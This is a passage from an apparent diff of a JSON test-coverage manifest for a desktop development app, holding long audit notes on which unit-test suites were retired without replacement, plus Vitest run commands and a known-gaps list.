remote/local custom-editor byte-read examples; immediate folder activation and unread clearing; and batching idle/coalescing, accumulated byte ceiling, leading-edge-disabled, standalone synchronous oversize rejection, validation yield, deferred pending-tail order and both viewport-clear examples. The newly reintroduced agent-terminal-presence suite also loses actual terminal-status membership positive and nonterminal-status callback suppression alarms, including the recent 40916 guard regression; the older different 2133 presence-suite history remains historical and receives zero duplicate removal credit. These real regression alarms are intentionally lost. The unchanged survivors provide narrower coverage, with no equivalent replacement or fresh gate, provider, rendered, remote/mobile, mixed-version, cross-platform, soak or measured-budget validation claimed. Audit 3301 combines adopted source batches 3296 and 3299: retire 27 authored declarations and 36 expanded scenarios, including six whole suites. Intentionally lost alarms cover failed-verification/recovery/restart counters and mocked hosting/toast; early overlapping pane-read scheduling/count; unreadable removal listing draft guard; bulk-purge remote-qualified and raw-local guard maps; initial-snapshot blank/mode/oversize/printable/fresh-spawn callback and replay examples; fallback mobile file close and ordinary MRU; default queue overload/drain; seeded browser-page reuse and supplied missing-page URL recreation; ambiguous sleep/hibernation owner refusal and untouched bindings/origins; ordinary selection/activity/fallback priority; skip-remote success and retained hints; supplied structured-chat unsent retention and scoped removal draft eviction; caller-chat focus precedence; open/draft PR cache eviction and merged-head fallback result inventories. Retained adverse-ordering and ownership cases are narrower and do not establish equivalent replacements. No fresh runtime, native, physical provider, cross-platform, mobile or mixed-version evidence is claimed. Audit 3292 combines adopted 3285/3287/3289/3293 removals: 40 authored declarations and 47 expanded scenarios, including whole frame-editor-view, ambiguous remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2056 (sources2054/2055): Intentionally retire these low-value alarms without replacement: src/renderer/src/runtime/files/watching/runtime-file-client-watch.test.ts: delivers remote file changes to listeners for the same worktree. src/main/runtime/orca-runtime.test.ts: ordinary registration cleanup removes only await import('./orca-runtime-tests/mobile-session-tabs-part-14.spec'). src/main/runtime/orca-runtime-tests/terminal-side-effect-facts-part-03.spec.ts: arms the stale-title timer for a seeded working title; arms the Command Code scrape from the noted spawn command; prefers the tracked title over a stale renderer lastTitle in the hydration seed; writes recent output into the current runtime output map; uses a later title handler replacement with the runtime receiver; calls the current injected listener with the runtime receiver; keeps optional reconciliation lazy after its callback is removed. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-14.spec.ts: lists them, so a paired client can mirror a migrated editor; closes one by retiring it from the host session; keeps an unsaved draft unless the close is forced; shares aggregate work but leaves a replacement pending promise alone; lets a targeted refresh finish while an aggregate refresh waits; refuses a close when the store lacks %s before the guard; keeps a later missing %s on the original caught failure path. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Exact retired assertionRefs, preserved as historical objects only: {\n          \"file\": \"src/renderer/src/runtime/files/watching/runtime-file-client-watch.test.ts\",\n          \"assertions\": [\n            \"terminal watcher error and setup failure evict the shared entry before retrying callbacks run\",\n            \"an old stream end cannot evict the replacement stream, which still delivers to its listener\",\n            \"two same-worktree listeners share a synthetic subscription until the final stop unsubscribes and sends unwatch\"\n          ]\n        } Historical prior account (preserved verbatim): Audit1973: Delete the standalone mocked watcher cleanup suite and its entire sole-file prospective command. Retire the removed file-command transport-abort alias; preserve the independent cancellation suite and final-overflow/error/end cleanup callback, and13 unrelated receipt objects. Whole original changed dated receipts are retired, never narrowed or transferred. This metadata review claims no fresh execution, equivalent replacement, provider/PTY, live remote/mobile, rendered, cross-platform, soak or measured-budget result. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial runtime files-watch suite retains controlled Windows close-event waiting, shared-client survival, late physical-exit ownership/deadline cleanup and shutdown joining. Its combined Windows close/deadline/late-exit alias remains backed by unchanged callbacks. Retire native-error-close, pre-publication setup ownership and failed-delete rearm aliases; associated delegation, failure forwarding, removal routing and recovery examples are lost. These tests inject watch/subscription seams and do not observe an actual native watcher or physical process. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1925 (sources1922/1923): Partial runtime watcher-host suite loses mocked option/event/overflow/resubscription forwarding, supplied teardown-error propagation, aborted-signal/no-call and private ten-thousand-waiter-count inventories. Retire the 10,000-caller bound and failed-recovery-subscriber-ending assertion aliases. Keep same-root owner cancellation, pre-ready replacement, held root-close join, stale-generation recovery delivery and initial failed-root ownership mappings backed by retained real-host callbacks with injected subscription/error/physical-exit promises. No actual native watcher, process termination or resource bound was observed. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1683 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Fill the global watcher-child reservation, require native desktop, paired-runtime, and WSL setup to retain typed transient capacity and retry after one serialized release, then cancel pending desktop and paired-client watches and require no retry. Hold one live anchor while aborting 10,000 callers at the capacity, quarantine-assignment, runtime-root, relay-setup, and SSH-registration layers; require exactly one explicit waiter and one base-promise reaction to remain, then zero after settlement. Hold an old relay unsubscribe, queue one same-root setup leader and one anchor, then abort 10,000 joiners; require every cancellation to settle before teardown releases, exactly one anchor waiter, and only one later physical install. Advance the former paired-web callback deadline while capacity remains full, require cancellation ownership to stay live, publish the server token before ready, and require files.unwatch to abort setup before a later slot release can install a native root. Reject the first ready-watch unwatch with a physical-exit promise, resolve that exit later, and require a fresh physical unwatch attempt, registry release, and exactly one stream end. Fill one healthy shared child with multiple roots, map a standard SSH repository's base, Git common directory, and worktree roots to one relay supervisor, then inject IPC disconnect-before-exit, queued and active cancellation, operations during termination, kill-without-exit, repeated unkillable generations, initial and recovery timeouts, and shard failure. During local and SSH deletion, attempt a late terminal spawn whose worktree identity and cwd name different roots, enumerate a non-prefix remote PTY by authoritative worktree ownership, withhold daemon/relay exit callbacks, make attach positively prove a concurrent-shutdown PID dead, and make the provider unavailable; require every acquired admission to roll back on rejection, dead-PID proof to settle physical exit before reaping, timeout to retain ownership, and Git/filesystem deletion never to start. Require bounded watcher process count, physical-exit settlement, healthy-root recovery, stale-generation rejection, overflow plus later events, and fail-closed destructive cleanup. Verify relay build hashes and remote install probes require both relay.js and relay-watcher.js. Launch the built relay with a real PTY and Parcel watch, kill only the watcher child, and require the same relay PID and PTY to answer before a replacement child delivers overflow and a post-crash event.",
       "commands": [
         "pnpm exec vitest run --config config/vitest.config.ts src/main/ipc/filesystem/watcher-process/parcel-watcher-unsubscribe-timeout.test.ts --reporter=dot",
         "pnpm exec vitest run --config config/vitest.config.ts src/main/ipc/filesystem/watchers/filesystem-watcher.test.ts src/main/ipc/filesystem/watchers/filesystem-watcher-native-capacity.test.ts src/main/ipc/filesystem/watcher-process/parcel-watcher-child-registry.test.ts src/main/ipc/filesystem/watcher-process/parcel-watcher-child-launch.test.ts src/main/ipc/filesystem/watcher-process/parcel-watcher-process.test.ts src/main/ipc/filesystem/watcher-process/parcel-watcher-supervisor-capacity.test.ts src/main/ipc/filesystem/watcher-process/parcel-watcher-disconnect-termination.test.ts src/main/ipc/filesystem/watcher-process/runtime-watcher-pending-assignment.test.ts src/main/ipc/filesystem/watcher-process/parcel-watcher-event-delivery.test.ts src/main/ipc/filesystem/watchers/filesystem-watcher-local-unsubscribe.test.ts src/main/ipc/filesystem/watchers/filesystem-watcher-wsl.test.ts src/main/ipc/worktrees-delete-pty-teardown.test.ts src/main/ipc/worktrees-orphan-directory-cleanup.test.ts src/main/ipc/worktrees-remove-preflight.test.ts src/main/workspaces/removal/watcher-removal-gate.test.ts src/main/runtime/files/watch/orca-runtime-files-watch.test.ts src/main/runtime/workspaces/removal/worktree-teardown.test.ts src/main/runtime/construction/orca-runtime.test.ts src/main/runtime/rpc/methods/files/files.test.ts src/main/runtime/rpc/methods/files/files-watch-cancellation.test.ts src/renderer/src/web/web-runtime-client.test.ts src/shared/cross-platform-path.test.ts src/shared/physical-exit-tracker.test.ts src/shared/promise-settlement-waiters.test.ts src/main/ipc/pty/pty-spawn-cwd-fallback.test.ts src/main/providers/local-pty/local-pty-provider-shutdown.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/main/daemon/pty-subprocess/testing/pty-subprocess.test.ts src/main/daemon/sessions/testing/session.test.ts src/main/daemon/terminal-host/testing/terminal-host.test.ts src/main/daemon/terminal-host/testing/terminal-host-session-reaping-leak.test.ts --reporter=dot",
@@ -13094,6 +12785,7 @@
         "Add a packaged orca serve pairing scenario that proves a connected client refreshes after child replacement."
       ],
       "knownGaps": [
+        "Launch direct-owner cleanup current scope: This gate’s unfiltered unit command now selects a suite reduced by 82 whole registrations  / 159 potential table examples in 10 whole test Programs, including 8 registrations / 15 examples from five once-registered create-message factory closures. Lost alarms include frozen first-message/options and legacy-host fallback; distinct actions and redelivery; uncertain/refused/reloaded input custody, Retry and late proof; rich prompt/attachment upload Stop/close and handback; ordinary draft/editor/IME/StrictMode lifetime and accepted topology; provisional fallback tab placement/group/pin/order and rich worktree handoff. Four whole consent/resume-identity cases remain in two Programs; they do not replace these alarms. This entry governs current reduced-unit scope and qualifies any broader implication of unchanged oracle/coverageNotes history. Entire dated evidenceRuns, original commands/currentCommand values, counts/results and existing history retain their original scopes only; no fresh execution, transferred pass, replacement equivalence or prior upstream-removal credit is claimed.",
         "Audit2145 accepts removal of canned runtime metadata/guard/forwarding, fake in-memory persistence, private work-count and wrapper-duplication tests from the construction/orca-runtime.test.ts aggregate, plus the two automation run-context guards from runtime-workspace-launch-contracts.test.ts. Retained race, framing, physical completion and ownership callbacks remain byte-identical. Existing commands remain valid selectors; historical receipts stay unchanged and provide no fresh validation or replacement coverage for the reduced suites.",
         "Audit2133 current-parent preparation (988 authored removals; independently reviewed2099/2107/2115/2116 decisions; upstream clear-buffer and recovery-image regressions retained): Intentionally retire these low-value alarms without replacement: src/main/runtime/construction/orca-runtime.test.ts: remove only literal registration import/call pairs await import('../orca-runtime-tests/worktree-setup-and-startup.spec'), await import('../orca-runtime-tests/gitlab-and-pr-bases.spec'); no additional authored credit. src/main/runtime/orca-runtime-tests/targeting-and-resilience.spec.ts: routes tab switch and capture start by explicit page id; accepts focus on tab switch without altering bridge args (focus is main-side concern); keeps terminal cwd resolution fail-soft when the provider is unavailable. src/main/runtime/orca-runtime-tests/worktree-removal-and-reconciliation-part-04.spec.ts: drops the bounded scan cache when orphan-cleanup removal completes; clears optimistic reconcile tokens when a CLI worktree removal succeeds; emits drift without mutating when the fetched base fast-forwards created HEAD; emits base_changed without mutation when the fetched base rewrote history; skips stale-token reconciles without mutating or emitting stale status; emits unknown without mutation when fetch fails or the base ref is missing. src/main/runtime/orca-runtime-tests/worktree-removal-and-reconciliation-part-03.spec.ts: routes runtime preserved-branch force-delete through the selected WSL project runtime; replies to a waiting client with the error of a delete that fails after acceptance; treats forced runtime deletion of an already-missing unregistered worktree as cleanup; treats normal runtime deletion of an already-missing unregistered worktree as cleanup. src/main/runtime/orca-runtime-tests/worktree-removal-and-reconciliation-part-02.spec.ts: 